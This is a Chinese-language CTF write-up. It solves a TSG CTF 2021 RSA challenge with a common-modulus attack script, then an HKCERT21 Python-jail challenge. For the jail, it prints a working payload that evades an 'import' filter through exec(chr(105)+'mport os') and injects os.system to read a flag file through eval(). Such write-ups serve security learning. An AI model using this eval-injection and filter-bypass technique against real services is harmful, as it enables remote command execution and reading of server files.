剛玩完 TSG CTF 2021，解了其中的 RSA 題，趁著記憶猶新趕快記錄一下
注：另外附加一題 HKCERT 熱身賽其中一題 pwm 的 write up
Crypto
Beginner’s Crypto 2021
題目：
J’ai apporté avec moi les trois mousquetaires du ramen. Hint for beginners: The attached file contains a Python script named beginners_crypto_2021.py and a text file named output.txt. These two files indicate that the latter text file was the result of running the former Python script. You can see that the Python script reads the file flag.txt, encrypts it, and outputs it. Since flag.txt is not included in the distribution file, you will have to guess from the output results to find and answer the contents of the original flag.txt. This will be the purpose of this question. You will need a cryptographic library called Pycryptodome to run the attached Python script. Please run pip install pycryptodome to install it beforehand. In the Python script, there is a line from secret import e that reads the secret parameter e from secret.py, which is used to encrypt the flag. secret.py is of course not included in the distribution, so you will have to guess it. To run the script locally, you will need to create a temporary secret.py or rewrite the source code to define the parameters directly. Once you get a numerical value that represents the flag, convert it to a string using the reverse procedure of reading flag.txt and answer it. If you have the correct flag format (TSGCTF{…}), you’ve won!
附件一： beginners_crypto_2021.py
from secret import e
m = libnum.n2s(pow(c, d, n))
from Crypto.Util.number import getStrongPrime, isPrime
p = getStrongPrime(1024)
q = getStrongPrime(1024)
N = p * q
phi = (p - 1) * (q - 1)
with open('flag.txt', 'rb') as f:
flag = int.from_bytes(f.read(), 'big')
assert(isPrime(e))
assert(isPrime(e + 2))
assert(isPrime(e + 4))
e1 = pow(e, 0x10001, phi)
e2 = pow(e + 2, 0x10001, phi)
e3 = pow(e + 4, 0x10001, phi)
c1 = pow(flag, e1, N)
c2 = pow(flag, e2, N)
c3 = pow(flag, e3, N)
print(f'p = {p}')
print(f'q = {q}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
print(f'c3 = {c3}')
附件二： output.txt
p = 167710954518007348037383082265231465648795974011761905177264545864288011527333715495850532989338171489309608848431113452814709692343039027970312735521415071265608660628968391884287240987858607818275329135585153511665148279408708087727501421558738163577629329044315775019460018956186674179846621352371150072281
q = 130354329753344570838569091064852072757046774566775609047544069941246798511317343102715733555464772099991834579660053860799207243561908291522943696711982657846373844514551117658179060004064010647453939332217996817580433587341521331941287365948919907797478197717562721233289937471168288241937022054501586986443
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743
c3 = 3193069356811106774640161554961405075257002069448498144279061282023129342916422283816661697787316681475161942522570615456264481238277711114193792510286127129056376618422336477707825009085263623755329815306483253646072909132096678270667136193038337386976289222105363398033633185639402128949635525665502328717781718263894690234837016959581149138917064108193064639981137359869717065147934752707676203651598070046066514316196771853484143158367616177332902152347890310640338106015356361617700741042461419248117687350565094928451141103632305400493998164788411031832078388030194992306440474662871408938796429927990102583837
知識點：RSA共模攻击、孿生質數
首先讀一下 beginners_crypto_2021.py，確定了是一道 RSA 類型的題，通常情況下，RSA 的題不外乎找出 2 個質數 p 和 q，還有 e（公鑰）和 d（私鑰），最後解出 m（明文）
仔細讀一下程式碼，發現它隠藏了 3 種變數，分別是
- 明文 flag
- 用作加密的公鑰 [e1,e2,e3]
- 制作公鑰 [e1,e2,e3] 的 e (非 RSA 常規)
一、找出 e
所以我們要一層層去解開它，首先先找出 e
assert(isPrime(e))
assert(isPrime(e + 2))
assert(isPrime(e + 4))
從上面可以得知，能夠符合 e 的數字只有 3，原理可 Google 孿生質數
由於三個相鄰奇數總有一個能被3整除，不可能是質數，因此 (3, 5, 7) 是唯一的孿生質數三元組。—維基百科
二、找出 e1, e2, e3
e1 = pow(e, 0x10001, phi)
e2 = pow(e + 2, 0x10001, phi)
e3 = pow(e + 4, 0x10001, phi)
然後可以算出 e1, e2, e3
e1 = 17603549263186425341767929511665789959105944330977732610916014873119252282802636800619943218173617441888097241786330044467390706899621342311537780960325827434196373002926945337049116646768167280435578161313136166984912128140809491969353494782750474301810262688555936515237213157072589888855009082917459841124317212785314003914313234917639294833196462895550624990993855672424098551845194332818039618333455201098641549770441114401683833649029496333471721218422923953911572405255917219368996940141028493863221349007615701640977231767979869511746450459020309485973427107977390630775364092661966159756765434661573566462163
e2 = 15344508209087520408904622039612403292778077018374460918944647544769165640337137582186403919710159968904923421386737007919512784139878000070417785469235072760767520470631932153936681007172335035560603688152851363757551810390163356371161738851859293395985292893266642634947470905628261585873301406883399307465584080339646976686630070325570603080476048485894627862169328144852580941394727582550746753409269261023938462291893093488806622999431476759128322955553737212823603838438441286632412590780859732560765318694595239577819399088507513384628815021733400052028849608900698718593489414974683054465037065557915104359925
e3 = 1286897016232617361083012059649704213576792366317567502577217000737977659362929369123775513844604052745766750871054608246092717377076714199427326839434611310558206981745736152773920866766320974203714619854100460502565295538221422701106956373719107890102546437046561148837237978884421629091196767011171436706014725319973540854322199371829067101464863076714442594086054173294566118751037283127617828362450029501614754389103320627342110820712013309494711983582126735640557051468204247008920521637027471626001856802298740699933699186004437903668425531474916751535139924185747491013542945979712901600461524455368951239047
三、解讀明文
c1 = pow(flag, e1, N)
c2 = pow(flag, e2, N)
c3 = pow(flag, e3, N)
現在我們已知 p, q, N, phi, e1, e2, e3, c1, c2, c3，距離解出明文應該相當接近，可是我到這一步，就踩了一個大坑
這裡有 2 種思路我都試過但失敗
- 用已知的 c1, e1, N 去逆向運算 flag (計算量大到無法完成)
- 把 e1 當作公鑰，和 phi 一起去求出私鑰 d1 (後來發現 e1 與 phi 並不互質出不到私鑰 d1）
最終透過 Google 大神發現了一個神奇方法：RSA 共模攻击（參考自：RSA 共模攻击 Isc2016——PhrackCTF）
原理： 對同一明文的多個相同使用相同的模數和模數的公鑰指數可能導致共模攻擊，當 n 不變，知道 n ,e1 ,e2 ,c1 ,c2 ，就可以在不知道 d1, d2 情況下，解出 m
知道方法之後用 python 制成 payload：
from gmpy2 import *
import libnum
n = 21861849068488503326777564160482917768295313612622098844005843941150416001449415831637974753612296634178937206635448545759776608072919261837704109903460487852321593647461325194355863907156869648747188133965073402040821653255878590888415203522221544646026084652799982648089185458004128592803363049028863875147302298032914963095395238481777617108444373792690712586751618914946813447656100899378283397273293143842550921101844777123910587444282360703980995288785551256271451760332791447461673193550567714926450717517656392539447836755985235708569019532947491148812339977048504141761177263545250566883133462383528417086483
e1 = 17603549263186425341767929511665789959105944330977732610916014873119252282802636800619943218173617441888097241786330044467390706899621342311537780960325827434196373002926945337049116646768167280435578161313136166984912128140809491969353494782750474301810262688555936515237213157072589888855009082917459841124317212785314003914313234917639294833196462895550624990993855672424098551845194332818039618333455201098641549770441114401683833649029496333471721218422923953911572405255917219368996940141028493863221349007615701640977231767979869511746450459020309485973427107977390630775364092661966159756765434661573566462163
e2 = 15344508209087520408904622039612403292778077018374460918944647544769165640337137582186403919710159968904923421386737007919512784139878000070417785469235072760767520470631932153936681007172335035560603688152851363757551810390163356371161738851859293395985292893266642634947470905628261585873301406883399307465584080339646976686630070325570603080476048485894627862169328144852580941394727582550746753409269261023938462291893093488806622999431476759128322955553737212823603838438441286632412590780859732560765318694595239577819399088507513384628815021733400052028849608900698718593489414974683054465037065557915104359925
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743
s = gcdext(e1, e2)
s1 = s[1]
s2 = -s[2]
c2 = invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 , s2 , n)) % n
flag = libnum.n2s(int(m))
print(flag)
解出 flag
TSGCTF{You are intuitively understanding the distribution of prime numbers! Bonus: You can solve this challenge w/ N instead of p and q!}
附加一題 hkcert21 Pwn 題
香港網絡保安新生代奪旗挑戰賽的熱身題 write up，無意中解到的，但又不想另外開一篇，所以加插在這裡。
題目是 Python calculator：
Give me the expression and I will return the answer.
nc chal.training.hkcert21.pwnable.hk 6009
附件 ： pyjail0_77608c05d70608758b3e5299101b6625.zip
先用 nc 連線看看:
$ nc chal.training.hkcert21.pwnable.hk 6009
input: 1+3
answer:4
附件是個壓縮檔，解壓後的資夾裡面有好幾個檔案，大概的說明伺服器端的架構。
其中最有用的是 chall.py，看了便能了解伺服器端程式的運作。
chall.py:
print("input: ", end="")
expression = input()
if 'import' in expression:
print('You\'re hacking!!')
exit(-1)
print("answer:", end="")
print(eval(expression))
程式很簡短，值得留意漏洞是最後一行的 eval 指令，它會把我們所輸入的 input 都當成指令去運行。
猜想攻擊方法，只要執行以下命令便可：
import os
os.system("ls -al")
這裡有 2 個難題需要處理：
- input 內不能含有 import 的字串
- 是 input 只能是一行
解決方法：
- 把
import os改成exec(chr(105) + "mport os") - 使用線上網站 Python Single Line Converter 把多行的程式碼變成一行
所以原本的 payload 是：
exec(chr(105) + "mport os")
os.system("cat /home/chall/flag.txt")
轉成一行後：
exec("""\nexec(chr(105) + "mport os")\nos.system("cat /home/chall/flag.txt")\n""")
試試看 nc 連到伺服器端
$ nc chal.training.hkcert21.pwnable.hk 6009
input: exec("""\nexec(chr(105) + "mport os")\nos.system("cat /home/chall/flag.txt")\n""")
answer:hkcert21{eval_or_evil}
None
flag got!